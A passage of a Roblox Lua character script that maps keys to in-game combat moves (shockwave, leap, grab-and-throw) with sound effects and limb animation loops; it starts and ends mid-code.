break end wait() end for i,v in pairs(FindNearestTorso(torso.CFrame.p,25))do if v:FindFirstChild('Humanoid') then v.Humanoid:TakeDamage(math.random(20,60)) v.Humanoid.PlatformStand = true v:FindFirstChild("Torso").Velocity = hed.CFrame.lookVector * 100 end end x = Instance.new("Sound",char) x.SoundId = "rbxassetid://"..SIDZ[math.random(1,#SIDZ)] x.Pitch = PTZ[math.random(1,#PTZ)] x.Volume = 1 wait(0.1) x:Play() Crater(hed,20) for i = 1, 14 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.4, 3.2, -.5)*CFrame.Angles(math.rad(160),math.rad(0),math.rad(-10)), 0.6) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.4, 3.2, -.5)*CFrame.Angles(math.rad(160),math.rad(0),math.rad(10)), 0.6) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2)*CFrame.Angles(math.rad(16),math.rad(0),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -5, 0) * CFrame.Angles(math.rad(-90), math.rad(0), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, .4) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2, .4) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.5, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false for i = 1, 20 do wait() for i,v in pairs(char.Absolution:children()) do if v:IsA("Part") or v:IsA("WedgePart") then v.Transparency = v.Transparency - 0.05 end end end end end end end) ----------------------------------------------------176349813 mouse.KeyDown:connect(function(key) if key == "b" and char.Mana.Value>80 then char.Mana.Value = char.Mana.Value -80 hum.WalkSpeed = 20 if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.NoIdl = true Debounces.on = true for i = 1,20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 1, 0) * CFrame.Angles(math.rad(75), 0, math.rad(-30)), 0.1) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 1, 0) * CFrame.Angles(math.rad(75), 0, math.rad(30)), 0.1) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, 0) * CFrame.Angles(math.rad(-20), math.rad(0), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(-30), math.rad(0), 0), 0.1) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles (math.rad(30), 0, math.rad(-5)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, 0) * CFrame.Angles (math.rad(30), 0, math.rad(5)), 0.1) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.85, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end wait(1) v = Instance.new("Sound") v.SoundId = "rbxassetid://181384451" v.Parent = char v.Looped = false v.Pitch = 1.04 v.Volume = 1.5 wait(.01) v:Play() v = Instance.new("Sound") v.SoundId = "rbxassetid://138252341" v.Parent = char v.Looped = false v.Pitch = 1.04 v.Volume = 1.2 wait(.01) v:Play() if Daytime == true then Daytime = false l.TimeOfDay = 24 else Daytime = true l.TimeOfDay = 12 l.OutdoorAmbient = Color3.new(0.498039, 0.498039, 0.498039) end local Shockwave = function() local rng1 = Instance.new("Part", char) rng1.Anchored = true rng1.BrickColor = BrickColor.new("Institutional white") rng1.CanCollide = false rng1.FormFactor = 3 rng1.Name = "Ring" rng1.Material = "Neon" rng1.Size = Vector3.new(1, 1, 1) rng1.Transparency = 0.35 rng1.TopSurface = 0 rng1.BottomSurface = 0 local rngm1 = Instance.new("SpecialMesh", rng) rngm1.MeshId = "http://www.roblox.com/asset/?id=3270017" rngm1.Scale = Vector3.new(10, 10, 1) rng1.CFrame = CFrame.new(0, -2, 0) * CFrame.Angles(0, 0, 0) local Wave = Instance.new("Part", game.Workspace) Wave.Name = "Shockwave" Wave.BrickColor = BrickColor.new("Really black") Wave.Size = Vector3.new(1, 1, 1) Wave.Shape = "Ball" Wave.Name = "Wave" Wave.Material = "Neon" Wave.CanCollide = false Wave.Anchored = true Wave.TopSurface = 0 Wave.BottomSurface = 0 Wave.Touched:connect(function(hit) if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then local Occlude = true local NotOccludes = { char.Name; "Wings"; "Scythe"; "Thingy"; "Thingy2"; -- put all of the names in a table pls } for i,v in pairs(NotOccludes) do if hit.Parent.Name == v then Occlude = false end end --if hit.Parent.Name ~= char.Name and hit.Name ~= "Wings" and hit.Name ~= "Scythe" and hit.Name ~= "Thingy" and hit.Name ~= "Thingy2" and hit.Parent.Name ~= "Wings" and hit.Parent.Name ~= "Scythe" and hit.Parent.Name ~= "Thingy" and hit.Parent.Name ~= "Thingy2" then if Occlude then hit.Parent:findFirstChild("Humanoid").Health = hit.Parent:findFirstChild("Humanoid").Health - math.huge hit.Parent:findFirstChild("Torso").Velocity = hit.Parent:findFirstChild("Torso").CFrame.lookVector * -120 end end end) Instance.new("SpecialMesh", Wave).MeshType = "Sphere" coroutine.wrap(function() for i = 1, 20, 0.2 do rngm1.Scale = Vector3.new(30 + i*2, 30 + i*2, 1) rng1.Transparency = i/20 local Wav2 = game.Workspace.Wave:Clone() Wav2.Position = Vector3.new(math.random(0,200),2,math.random(0,200)) wait() end wait() rng1:Destroy() end)() Delay(0, function() if Daytime == false then for i = 1, 50, 1 do Wave.Size = Vector3.new(1 + i, 1 + i, 1 + i) Wave.CFrame = char.Torso.CFrame local t = i / 50 Wave.Transparency = t wait() end else for i = 1, 50, 1 do Wave.Size = Vector3.new(20 + i, 20 + i, 20 + i) Wave.CFrame = char.Torso.CFrame local t = i / 50 Wave.Transparency = t wait() end end Wave:Destroy() end) Delay(0, function() while wait() do if Wave ~= nil then Wave.CFrame = char.Torso.CFrame else break end end end) end Shockwave() for i = 1, 15 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3.2, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(-130)), 0.2) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3.2, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(70)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2) * CFrame.Angles(math.rad(45), math.rad(30), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(30), math.rad(20), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(-40)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.1) if Debounces.on == false then break end wait() end for i = 1, 15 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(-70)), 0.2) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(130)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2) * CFrame.Angles(math.rad(45), math.rad(-30), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(30), math.rad(-20), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(40)), 0.1) if Debounces.on == false then break end wait() end for i = 1, 15 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3.2, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(-130)), 0.2) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3.2, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(70)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2) * CFrame.Angles(math.rad(45), math.rad(30), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(30), math.rad(20), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(-40)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.1) if Debounces.on == false then break end wait() end for i = 1, 15 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(-70)), 0.2) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(130)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2) * CFrame.Angles(math.rad(45), math.rad(-30), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(30), math.rad(-20), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(40)), 0.1) if Debounces.on == false then break end wait() end for i = 1, 15 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3.2, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(-130)), 0.2) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3.2, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(70)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2) * CFrame.Angles(math.rad(45), math.rad(30), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(30), math.rad(20), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(-40)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.1) if Debounces.on == false then break end wait() end for i = 1, 15 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(-70)), 0.2) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9, 0) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(130)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2) * CFrame.Angles(math.rad(45), math.rad(-30), 0), 0.1) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.1, 0) * CFrame.Angles(math.rad(30), math.rad(-20), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(0)), 0.1) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(-30), 0, math.rad(40)), 0.1) if Debounces.on == false then break end wait() end wait(1.4) Debounces.NoIdl = false hum.WalkSpeed = 50 Debounces.on = false wait() if Debounces.CanAttack == false then Debounces.CanAttack = true v:Destroy() end char.Mana.Value = char.Mana.Value + 1000 wait(4) end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "m" and char.Mana.Value> 60 then char.Mana.Value = char.Mana.Value-60 hum.WalkSpeed = 0 if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true x = Instance.new("Sound",char) x.SoundId = "http://www.roblox.com/asset/?id=169445572" x.Looped = false x.Pitch = 1.1 x.Volume = 1 x:Play() x2 = Instance.new("Sound",char) x2.SoundId = "http://www.roblox.com/asset/?id=169380495" x2.Looped = false x2.Pitch = .7 x2.Volume = 1 wait(.1) x:Play() x2:Play() for i = 1, 20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,0.6,-.2) *CFrame.Angles (math.rad (45),math.rad(0),math.rad(32)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,1,0)*CFrame.Angles(math.rad (0),math.rad(0),math.rad(-20)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.4)*CFrame.Angles(math.rad (- 8),math.rad(-40), math.rad(-8)),0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -3.2, 0) * CFrame.Angles (math.rad (-50), math.rad(40), math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.8, .4, -1.6) * CFrame.Angles (math.rad (30), 0, math.rad(20)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.6, -2, 0) * CFrame.Angles (math.rad(- 10), math.rad(-40), math.rad(0)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.3, -1.1) * CFrame.Angles(math.rad(-60), math.rad(-90), math.rad(0)), 0.4) if Debounces.on == false then break end wait() x:Destroy() x2:Destroy() end wait(1) local rng = Instance.new("Part", char) rng.Anchored = true rng.BrickColor = BrickColor.new("Really black") rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Size = Vector3.new(1, 1, 1) rng.Transparency = 0.35 rng.TopSurface = 0 rng.BottomSurface = 0 rng.Position = torso.Position - Vector3.new(0,2,0) rng.CFrame = rng.CFrame * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) local rngm = Instance.new("SpecialMesh", rng) rngm.MeshId = "http://www.roblox.com/asset/?id=3270017" rngm.Scale = Vector3.new(1, 1, 2) x = Instance.new("Sound",char) x.SoundId = "http://www.roblox.com/asset/?id=169445602" x.Looped = false x.Pitch = .7 x.Volume = 1 x:Play() coroutine.wrap(function() for i = 1, 60, 2 do rngm.Scale = Vector3.new(2 + i*2, 2 + i*2, 1) rng.Transparency = i/60 wait() end wait() rng:Destroy() end)() hum.WalkSpeed = 50 BV = Instance.new("BodyVelocity", torso) BV.maxForce = Vector3.new(0,200000,0) BV.P = 100000 BV.velocity = Vector3.new(0,800,0) for i = 1, 20 do hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, 0)*CFrame.Angles(math.rad(20),math.rad(0), math.rad(0)),0.7) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(math.rad(-16), math.rad(0), math.rad(0)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 1, 0) * CFrame.Angles(math.rad(40), 0, math.rad(-20)), 0.7) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 1, 0) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(20)), 0.7) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -2, 0) * CFrame.Angles(math.rad(-10), 0, 0), 0.7) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, 0, -2) * CFrame.Angles(math.rad(0), 0, 0), 0.7) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.85, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end x:Destroy() BV:Destroy() for i = 1, 30 do hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0)*CFrame.Angles(math.rad(-14),math.rad(0), math.rad(0)),0.3) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-16), math.rad (0), math.rad(0)), 0.3) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -.4, -1) * CFrame.Angles(math.rad(20), 0, 0), 0.3) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -.8, -.6) * CFrame.Angles(math.rad(-30), 0, 0), 0.3) if Debounces.on == false then break end wait() end if (torso.Velocity*Vector3.new(1, 1, 1)).magnitude > 1 then for i = 1, 30 do hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, 0)*CFrame.Angles(math.rad(-14),math.rad(0), math.rad(0)),0.3) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.6, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 1.4, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-90)), 0.3) rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 1.4, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90)), 0.3) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.85, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end end Debounces.on = false Debounces.NoIdl = false local ry,ht,ps=nil,nil,nil while ht==nil do ry,ht,ps=newRay(root.CFrame*CFrame.new(0,-2,0),root.CFrame*CFrame.new(0,-3,0),4.1,{char}) wait() end z = Instance.new("Sound",char) z.SoundId = "rbxassetid://142070127" z.Volume = 1 wait(.1) z:Play() Landing() hum.WalkSpeed = 50 if Debounces.CanAttack == false then Debounces.CanAttack = true end end end end) ---------------------------------------------------- Grab = false mouse.KeyDown:connect(function(key) if key == "z" then larm.BrickColor = BrickColor.new("Bright red") rarm.BrickColor = BrickColor.new("Bright red") Debounces.on = true Debounces.NoIdl = true if Grab == false then gp = nil con1=larm.Touched:connect(function(hit) -- this is grab ht = hit.Parent hum1=ht:FindFirstChild('Humanoid') if hum1 ~= nil then hum1.PlatformStand=true gp = ht Grab = true asd=weld5(larm,ht:FindFirstChild("Torso"),CFrame.new(0,-3.3,0),CFrame.new(0,0,0)) asd.Parent = larm asd.Name = "asd" asd.C0=asd.C0*CFrame.Angles(math.rad(-90),0,0) elseif hum1 == nil then con1:disconnect() wait() return end end) for i = 1, 18 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(36)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.65,.9,-.5)*CFrame.Angles(math.rad(70),math.rad(0),math.rad(20)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(0),0), 0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.8, 0) * CFrame.Angles(math.rad(-60), math.rad(0), 0), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, -.6) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, -.6) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.3, -1.1) * CFrame.Angles(math.rad(-60), math.rad(-90), math.rad(0)), 0.9) if Debounces.on == false then break end wait() end con1:disconnect() Debounces.on = false Debounces.NoIdl = false elseif Grab == true then Grab = false for i = 1, 20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-20)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.6, .9, -.4)*CFrame.Angles(math.rad(170),math.rad(0),math.rad(-20)), 0.1) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(0),0), 0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(0), 0), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then end wait() end if gp ~= nil then for i,v in pairs(larm:GetChildren()) do if v.Name == "asd" and v:IsA("Weld") then v:Remove() end end bv = Instance.new("BodyVelocity",gp:FindFirstChild("Torso")) bv.maxForce = Vector3.new(400000, 400000, 400000) bv.P = 125000 bv.velocity = char.Head.CFrame.lookVector * 200 for i = 1, 12 do larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.6, .9, -.75)*CFrame.Angles(math.rad(30),math.rad(0),math.rad(20)), 0.5) if Debounces.on == false then end wait() end ht=nil Spawn(function() wait(0.5) bv:Destroy() end) Debounces.on = false Debounces.NoIdl = false elseif ht == nil then wait() Grab = false Debounces.on = false Debounces.NoIdl = false end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if string.byte(key) == 52 then char.Humanoid.WalkSpeed = 21 end end) mouse.KeyUp:connect(function(key) if string.byte(key) == 52 then char.Humanoid.WalkSpeed = 50 end end) ---------------------------------------------------- local animpose = "Idle" local lastanimpose = "Idle" local sine = 0 local change = 1 local val = 0 local ffing = false ---------------------------------------------------- x = Instance.new("Sound", char) x.SoundId = "http://www.roblox.com/asset/?id=187922823" x.Looped = true x.Volume = 1 x.Pitch = 1 local footsteps = false ------------------------------- game:GetService("RunService").RenderStepped:connect(function() if char.Humanoid.Jump == true then jump = true else jump = false end char.Humanoid.FreeFalling:connect(function(f) if f then ffing = true else ffing = false end end) sine = sine + change if jumpn == true then animpose = "Jumping" elseif ffing == true then animpose = "Freefalling" elseif (torso.Velocity*Vector3.new(1, 0, 1)).magnitude < 2 then animpose = "Idle" elseif (torso.Velocity*Vector3.new(1, 0, 1)).magnitude < 20 then animpose = "Walking" elseif (torso.Velocity*Vector3.new(1, 0, 1)).magnitude > 20 then animpose = "Running" end if animpose ~= lastanimpose then sine = 0 if Debounces.NoIdl == false then if animpose == "Idle" then for i = 1, 2 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(20)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(-20)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(0),0), 0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(0), 0), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) end elseif animpose == "Walking" then for i = 1, 2 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9, 0) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(20)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, .9, 0)*CFrame.Angles(0, math.rad(1), math.rad(-10)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0)*CFrame.Angles(math.rad(-8), math.rad(0), math.rad(0)),0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(math.rad(-4), 0, math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, -.05) * CFrame.Angles(math.rad(-18), 0, 0), .4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, -.05) * CFrame.Angles(math.rad(-18), 0, 0), .4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) end elseif animpose == "Running" then for i = 1, 2 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 0.9, .5) * CFrame.Angles(math.rad(-10), math.rad(-40), math.rad(50)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 1.2, 0-1*math.cos(sine/4)/2)*CFrame.Angles(math.rad(50-80*math.cos(sine/8)/2), math.rad(0), math.rad(0-70*math.cos(sine/8)/2)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,0)*CFrame.Angles(math.rad(6+8*math.cos(sine/4)/1.8), math.rad(0), math.rad(0)),0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2+0.2*math.cos(sine/4)/2, 0) * CFrame.Angles(math.rad(-14+4*math.cos(sine/4)/2), 0, math.rad(0)), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3-0.44*math.cos(sine/8)/2.4, -.15 + math.sin(sine/8)/1.5) * CFrame.Angles(math.rad(-20) + -math.sin(sine/8)/1.7, 0, 0), .4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3+0.44*math.cos(sine/8)/2.4, -.15 + -math.sin(sine/8)/1.5) * CFrame.Angles(math.rad(-20) + math.sin(sine/8)/1.7, 0, 0), .4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.85, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) end wait() end else end end lastanimpose = animpose if Debounces.NoIdl == false then if animpose == "Idle" then if stanceToggle == "Normal" then change = 0.5 rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(88+2*math.cos(sine/14)),math.rad(0),math.rad(20)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9+0.1*math.cos(sine/14),0)*CFrame.Angles(math.rad(50),math.rad(-30),math.rad(-40-2*math.cos(sine/14))), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14+1*math.cos(sine/14)),math.rad(40),0), 0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(-40), 0), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.15, -3, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.15, -3, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) elseif stanceToggle == "Sitting" then rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9, 0) * CFrame.Angles(math.rad(100-1*math.cos(sine/14)), math.rad(0), math.rad(20)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2, .9, -1)*CFrame.Angles(math.rad(78+1*math.cos(sine/14)), math.rad(0), math.rad(50)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, -.3) * CFrame.Angles(math.rad(-14+1*math.cos(sine/14)), math.rad(0), math.rad(0)),0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -3, 